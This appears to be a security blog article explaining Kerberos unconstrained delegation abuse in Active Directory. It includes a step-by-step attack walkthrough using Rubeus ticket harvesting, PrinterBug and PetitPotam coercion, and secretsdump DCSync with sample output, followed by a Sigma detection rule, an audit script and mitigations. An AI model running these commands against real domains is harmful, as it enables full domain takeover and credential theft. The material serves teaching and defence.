Active Directory: Deconstructing Unconstrained Delegation Takeover

Active Directory: Deconstructing Unconstrained Delegation Takeover

Overview & Threat Landscape: Kerberos Unconstrained Delegation & Domain Takeover (T1558)#

Active Directory Unconstrained Delegation allows full domain compromise via RPC coercion and TGT harvesting. Disable delegation and protect DCs.

In enterprise Active Directory environments, Kerberos Delegation is designed to solve the classic multi-tier architecture challenge: allowing a front-end server (such as an IIS web server or an application middleware host) to impersonate an authenticated user when making downstream requests to back-end resources (such as a Microsoft SQL database or file share).

Introduced in Windows 2000, Kerberos Unconstrained Delegation was the original, coarsest implementation of this capability. When a computer or service account is configured with the userAccountControl flag TRUSTED_FOR_DELEGATION (0x80000 / 524288), Kerberos protocol rules mandate that whenever a user authenticates to that service, the client embeds a full, forwardable copy of their Ticket Granting Ticket (TGT) directly inside the authentication request. The server extracts this TGT and caches it in the Local Security Authority Subsystem Service (LSASS) memory, allowing the server to impersonate that user to any service across the entire Active Directory domain.

For enterprise identity architects, penetration testers, and detection engineers, this legacy delegation mechanism represents one of the most critical structural hazards in Active Directory (mapped to MITRE ATT&CK T1558: Steal or Forge Kerberos Tickets, T1187: Forced Authentication, T1550.003: Pass the Ticket, and T1003.006: DCSync):

  • The Server Compromise Pivot: An unconstrained delegation host acts as an ambient credential harvesting sink. Any user who establishes a Kerberos session to that host deposits their TGT into the host's LSASS process memory. If an attacker gains local administrator or SYSTEM access on that single machine (whether via a local privilege escalation or a web application flaw), they can extract all cached TGTs belonging to connecting users.
  • From Passive Sniffing to Active Coercion: Historically, red teams had to passively wait for a high-privilege administrator (such as a Domain Admin) to browse a web portal or connect to a share hosted on the unconstrained server. However, with the weaponization of remote procedure call (RPC) coercion primitives—such as MS-RPRN (SpoolSample / PrinterBug) and MS-EFSR (PetitPotam)—attackers can actively force a primary Domain Controller (DC) machine account (DC01$) to authenticate to the unconstrained host.
  • The Domain Controller TGT Catastrophe: When the Domain Controller is coerced into authenticating to an unconstrained delegation host, it sends its own forwardable machine account TGT. Once the attacker dumps DC01$'s TGT from LSASS, they wield the computer identity of the Domain Controller itself.
  • Immediate DCSync Replication: Because Domain Controller accounts inherently possess Active Directory directory replication privileges (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), the attacker immediately invokes the Directory Replication Service Remote Protocol (MS-DRSR) to perform a DCSync attack, dumping the entire ntds.dit credential database, including the critical krbtgt NTLM/AES keys.
Warning

A single unconstrained delegation host on the network perimeter or within a DMZ creates an instantaneous path to complete forest compromise if it can reach or be reached by a Domain Controller. Unconstrained delegation should never be granted to non-Domain Controller accounts.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.


Vulnerability & Attack Root-Cause Analysis: TRUSTED_FOR_DELEGATION & The AP-REQ Trap#

To understand why Unconstrained Delegation is so lethal, we must examine the Kerberos authentication handshake defined in RFC 4120 and trace how forwardable tickets are negotiated.

The RFC 4120 Kerberos Delegation Handshake#

When a user initiates authentication to a Kerberos service principal name (SPN), the following cryptographic negotiation takes place:

  1. AS-REQ / AS-REP: The client requests a Ticket Granting Ticket (TGT) from the Key Distribution Center (KDC). If the user is permitted delegation, the TGT is granted with the FORWARDABLE ticket flag set.
  2. TGS-REQ / TGS-REP: The client requests a Service Ticket (ST) for the target service (e.g., http/web.domain.local). The KDC inspects the target service's user account object in Active Directory:
    • If the account possesses the attribute userAccountControl: TRUSTED_FOR_DELEGATION (0x80000), the KDC sets the OK-AS-DELEGATE flag in the returned Ticket Granting Service response (TGS-REP).
  3. The AP-REQ Trap (KRB_CRED Embedding):
    • When the client receives the TGS-REP with OK-AS-DELEGATE set, the client's Kerberos security package (Kerberos SSP in Windows) prepares an AP-REQ (Application Request) packet.
    • Inside the AP-REQ, the client constructs the Authenticator structure.
    • Crucially, the client requests a forwarded TGT from the KDC, encrypts it, and places it inside the authenticator's authorization-data field as a KRB_CRED structure!
  4. LSASS Ingestion: When the target server receives the AP-REQ, it decrypts the ticket using its own service password key, unpacks the authenticator, extracts the client's forwardable TGT, and caches it in its local LSASS credential memory pool.
sequenceDiagram
    autonumber
    actor Client as Client (User or DC01$)
    participant TargetServer as Target Server (Web01$)
    participant KDC as KDC (Domain Controller)
    Client->>KDC: TGS-REQ (Request ST for http/web01)
    KDC-->>Client: TGS-REP (OK-AS-DELEGATE Flag Set)
    Client->>KDC: KRB_TGS_REQ (Request Forwarded TGT)
    KDC-->>Client: KRB_TGS_REP (Forwarded TGT)
    Client->>TargetServer: AP-REQ with KRB_CRED (Contains TGT)
    Note over TargetServer: Extracts TGT & Caches in LSASS
    Note over TargetServer: Server Can Now Impersonate Client!

Active Machine Coercion: The SpoolSample Primitive#

An attacker with administrative control over an unconstrained delegation host (Web01$) does not need to wait for a Domain Administrator to log in. Instead, they weaponize RPC machine coercion:

  1. The Print Spooler Service (MS-RPRN): By default on Windows Server (including Domain Controllers), the Spooler service is active and accessible over the named pipe \pipe\spoolss via SMB (TCP port 445).
  2. The RPC Method: The attacker invokes the RPC function RpcRemoteFindFirstPrinterChangeNotificationEx. This method permits any authenticated domain user to register for print change notifications and supply a callback server name.
  3. Forced Callback: The attacker supplies the IP or NetBIOS name of their compromised unconstrained host (Web01$) as the target server.
  4. SMB Session Establishment: The Domain Controller immediately initiates an outbound SMB connection to \Web01$\pipe\spoolss to send the notification.
  5. The Trap Closes: To authenticate the SMB session, the Domain Controller requests a Kerberos service ticket for cifs/web01.domain.local. Because Web01$ is TRUSTED_FOR_DELEGATION, the Domain Controller embeds its own machine account TGT (DC01$@DOMAIN.LOCAL) in the AP-REQ packet!

Exploit Architecture: Machine Coercion to TGT Exfiltration & DCSync Flow#

The following Mermaid sequence diagram illustrates the complete end-to-end exploit execution: from RPC coercion to Domain Controller TGT harvesting and full directory replication.

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor (Compromised Web01)
    participant DCSpooler as Domain Controller (Spooler / MS-RPRN)
    participant KDC as Active Directory KDC (:88)
    participant LocalLSASS as Web01 Local LSASS Memory
    participant DCDRS as Domain Controller (MS-DRSR Replication)

    Note over Attacker,DCSpooler: Phase 1: Machine Account RPC Coercion
    Attacker->>DCSpooler: RPC RpcRemoteFindFirstPrinterChangeNotificationEx(Target: Web01)
    DCSpooler->>DCSpooler: Acknowledge request and initiate outbound callback to Web01

    Note over DCSpooler,KDC: Phase 2: Forwardable TGT Negotiation
    DCSpooler->>KDC: TGS-REQ (cifs/web01.domain.local)
    KDC-->>DCSpooler: TGS-REP with OK-AS-DELEGATE flag set
    DCSpooler->>KDC: Request forwardable TGT for DC01$
    KDC-->>DCSpooler: Issue forwardable TGT for DC01$

    Note over DCSpooler,LocalLSASS: Phase 3: Authentication & TGT Harvesting
    DCSpooler->>Attacker: SMB Negotiate / AP-REQ (Contains KRB_CRED with DC01$ TGT)
    Attacker->>LocalLSASS: Kernel deposits DC01$ TGT into LSASS memory pool
    Attacker->>LocalLSASS: Execute Rubeus dump / extract DC01$ TGT (.kirbi / base64)

    Note over Attacker,DCDRS: Phase 4: DCSync Full Domain Compromise
    Attacker->>KDC: Present DC01$ TGT to request TGS for ldap/dc01.domain.local
    KDC-->>Attacker: Issue LDAP/DRS Service Ticket
    Attacker->>DCDRS: MS-DRSR DsGetNCChanges(Replication Request as DC01$)
    DCDRS-->>Attacker: Replicate entire domain database: krbtgt hash & all user credentials

Attack Path Step-by-Step: From SpoolSample Coercion to Full NTDS.dit Dumping#

Let us examine the exact commands and payloads executed by an attacker who has obtained administrative access to an unconstrained delegation host (WEB01.CORP.LOCAL).

Step 1: Discovering Unconstrained Delegation Hosts#

Using standard Active Directory LDAP queries, any authenticated domain user can search for computer accounts with the TRUSTED_FOR_DELEGATION flag enabled:

POWERSHELL
# Query Active Directory for computers with Unconstrained Delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation, OperatingSystem | 
    Select-Object Name, DNSHostName, OperatingSystem, TrustedForDelegation

# Or using PowerView
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname, useraccountcontrol

Step 2: Monitoring LSASS for Incoming TGTs#

On the compromised unconstrained host (WEB01), the attacker starts a ticket monitoring process using Rubeus to watch for and automatically extract any newly injected tickets:

POWERSHELL
# Monitor LSASS in real time for incoming TGTs from machine accounts
.\Rubeus.exe monitor /interval:5 /filteruser:DC01$ /nowrap

Alternatively, the attacker can harvest tickets after triggering authentication:

POWERSHELL
# Dump all Kerberos tickets from memory
.\Rubeus.exe dump /service:krbtgt /nowrap

Step 3: Triggering Coerced Authentication from the Domain Controller#

From their attack station or the compromised host, the attacker executes SpoolSample (or the Python equivalent printerbug.py) targeting the Domain Controller (DC01.CORP.LOCAL) and pointing the listener callback to WEB01.CORP.LOCAL:

BASH
# Coerce DC01$ to authenticate to the unconstrained delegation server
python3 printerbug.py 'CORP.LOCAL/lowpriv_user:Password123!@10.0.0.10' '10.0.0.50'

# Output trace:
# [*] Attempting to connect to 10.0.0.10
# [*] Successfully bound to \pipe\spoolss
# [*] Triggering RpcRemoteFindFirstPrinterChangeNotificationEx...
# [*] Received RpcRemoteFindFirstPrinterChangeNotificationEx response!
# [*] Target coerced successfully.

If the Print Spooler service is disabled, the attacker uses PetitPotam (MS-EFSR):

BASH
# Coerce DC01$ using PetitPotam (MS-EFSR)
python3 PetitPotam.py '10.0.0.50' '10.0.0.10' -u 'lowpriv_user' -p 'Password123!' -d 'CORP.LOCAL'

Step 4: Extracting the Harvested Domain Controller TGT#

Within seconds, Rubeus captures the incoming AP-REQ authentication from DC01$ and dumps its forwardable TGT:

POWERSHELL
[*] 10/22/2026 03:15:22 UTC - Found new TGT:
  User                  : DC01$@CORP.LOCAL
  StartTime             : 10/22/2026 03:15:20
  EndTime               : 10/22/2026 13:15:20
  RenewTill             : 10/29/2026 03:15:20
  Flags                 : forwardable, renewable, initial, pre_authent
  Base64EncodedTicket   :
    doIF1DCCBdigAwIBBaEDAgEWooIE...[TRUNCATED_BASE64]...

The attacker saves this ticket to disk as dc01.kirbi.

Step 5: Executing DCSync and Exfiltrating Domain Hashes#

With the TGT of DC01$, the attacker converts the .kirbi ticket into a ccache file and uses Impacket's secretsdump to replicate the domain database:

BASH
# Convert kirbi to ccache
impacket-ticketConverter dc01.kirbi dc01.ccache
export KRB5CCNAME=dc01.ccache

# Execute DCSync over MS-DRSR using the coerced DC01$ identity
secretsdump.py -k -no-pass -just-dc-user krbtgt 'CORP.LOCAL/DC01$@DC01.CORP.LOCAL'

The Domain Controller responds to the replication request:

PLAINTEXT
[*] Dumping Domain Credentials (domain\syskey)
[*] Using Kerberos Cache: dc01.ccache
[*] Service: ldap/DC01.CORP.LOCAL
[+] Extracting hashes using MS-DRSR protocol
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8c2e5d1e8a9f0b34d7f4c8a29b3e4f1a:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f2e3d4c5b6a7f8e9a0b1c2d3e4f5a6b:::

In under two minutes, the attacker has escalated from an unprivileged domain user and local admin on a single member server to complete ownership of the Active Directory forest.


Fast Cyber Defense Morning Takeaways: Delegation Auditing & Coercion Hardening#

Mitigating Unconstrained Delegation requires aggressive auditing of Active Directory computer objects and neutralizing RPC coercion channels on Domain Controllers.

1. Production Sigma Rule: Suspicious Spooler/EFSR Named Pipe Connection Followed by Kerberos Delegation#

The following production Sigma rule monitors Windows Security and Sysmon logs to detect outbound RPC coercion named-pipe connections originating from Domain Controllers:

YAML
title: Domain Controller RPC Coercion Followed by Kerberos Delegation
id: 9b2e4f1a-8c3d-4e7a-9a1c-5d0e8a7b2c34
status: production
description: Detects outbound RPC named-pipe connections (spoolss or efsrpc) from a Domain Controller targeting non-DC systems, indicative of SpoolSample or PetitPotam coercion.
references:
    - https://adsecurity.org/?p=1667
    - https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/kerberos-unconstrained-delegation

tags:
    - attack.credential_access
    - attack.t1558
    - attack.t1187
    - attack.t1003.006
logsource:
    category: pipe_created
    product: windows
detection:
    selection_pipe:
        PipeName:
            - '\spoolss'
            - '\efsrpc'
            - '\lsarpc'
            - '\samr'
    selection_dc_process:
        Image|endswith:
            - '\spoolsv.exe'
            - '\lsass.exe'
    selection_network:
        DestinationIp|startswith:
            - '10.'
            - '172.16.'
            - '192.168.'
    condition: selection_pipe and selection_dc_process and selection_network
falsepositives:
    - Legitimate enterprise print servers servicing Domain Controller print jobs (rare in hardened environments).
level: high

2. PowerShell Audit Utility: Enumerating Unconstrained Delegation in Active Directory#

Blue teams and identity auditors can execute the following automated script to identify all non-Domain Controller accounts configured with TRUSTED_FOR_DELEGATION:

POWERSHELL
# Audit-UnconstrainedDelegation.ps1
# Identifies high-risk accounts with Unconstrained Delegation enabled

Import-Module ActiveDirectory

Write-Host "[*] Auditing Active Directory for Unconstrained Delegation..." -ForegroundColor Cyan

# Find all computer objects with TRUSTED_FOR_DELEGATION (UAC flag 0x80000)
$UnconstrainedComputers = Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation, PrimaryGroupID, OperatingSystem

# Filter out Domain Controllers (PrimaryGroupID 516 represents Domain Controllers)
$HighRiskServers = $UnconstrainedComputers | Where-Object { $_.PrimaryGroupID -ne 516 }

if ($HighRiskServers) {
    Write-Host "[!] CRITICAL: Found $($HighRiskServers.Count) non-DC systems with Unconstrained Delegation enabled!" -ForegroundColor Red
    $HighRiskServers | Select-Object Name, DNSHostName, OperatingSystem | Format-Table -AutoSize
} else {
    Write-Host "[+] PASS: No non-DC systems are configured with Unconstrained Delegation." -ForegroundColor Green
}

# Audit sensitive privileged users not protected against delegation
Write-Host "[*] Auditing Domain Admins for delegation protection..." -ForegroundColor Cyan
$UnprotectedAdmins = Get-ADGroupMember -Identity "Domain Admins" | Get-ADUser -Properties AccountNotDelegated | Where-Object { -not $_.AccountNotDelegated }

if ($UnprotectedAdmins) {
    Write-Host "[!] WARNING: Found $($UnprotectedAdmins.Count) Domain Admins without 'Account is sensitive and cannot be delegated' enabled!" -ForegroundColor Yellow
    $UnprotectedAdmins | Select-Object SamAccountName, Name | Format-Table -AutoSize
} else {
    Write-Host "[+] PASS: All Domain Admins are protected against Kerberos delegation." -ForegroundColor Green
}

Executive Takeaway Table: Active Directory Unconstrained Delegation Attack Matrix#

Attack Phase & Dimension Vulnerability Root Cause Critical Blue Team Detection Signal Primary Defensive Mitigation
Delegation Trust Discovery UAC flag TRUSTED_FOR_DELEGATION (524288) visible to all domain users LDAP queries filtering for (userAccountControl:1.2.840.113556.1.4.803:=524288) Audit and remove TRUSTED_FOR_DELEGATION on all non-Domain Controllers
RPC Coercion (SpoolSample) Print Spooler enabled on DCs listening on \pipe\spoolss Event ID 5145 / Network monitor: Outbound SMB from DC to member workstation Disable Print Spooler on all Domain Controllers (Stop-Service Spooler)
RPC Coercion (PetitPotam) EFS RPC interface exposed without NTLM relay protections Anomaly: DC initiating outbound RPC calls over \pipe\efsrpc Block MS-EFSR using RPC filter policies or disable EFS service
TGT Harvesting from LSASS Kerberos client embeds KRB_CRED forwardable TGT in AP-REQ Sysmon Event ID 10: LSASS memory access by unprivileged tools (Rubeus/Mimikatz) Enable Windows Defender Credential Guard to isolate Kerberos tickets in VBS
DCSync Domain Takeover Domain Controller account inherently possesses replication rights Event ID 4662: DS-Replication-Get-Changes-All access on domain root object Configure "Account is sensitive and cannot be delegated" on all privileged accounts

Authoritative References & Further Reading#

Comments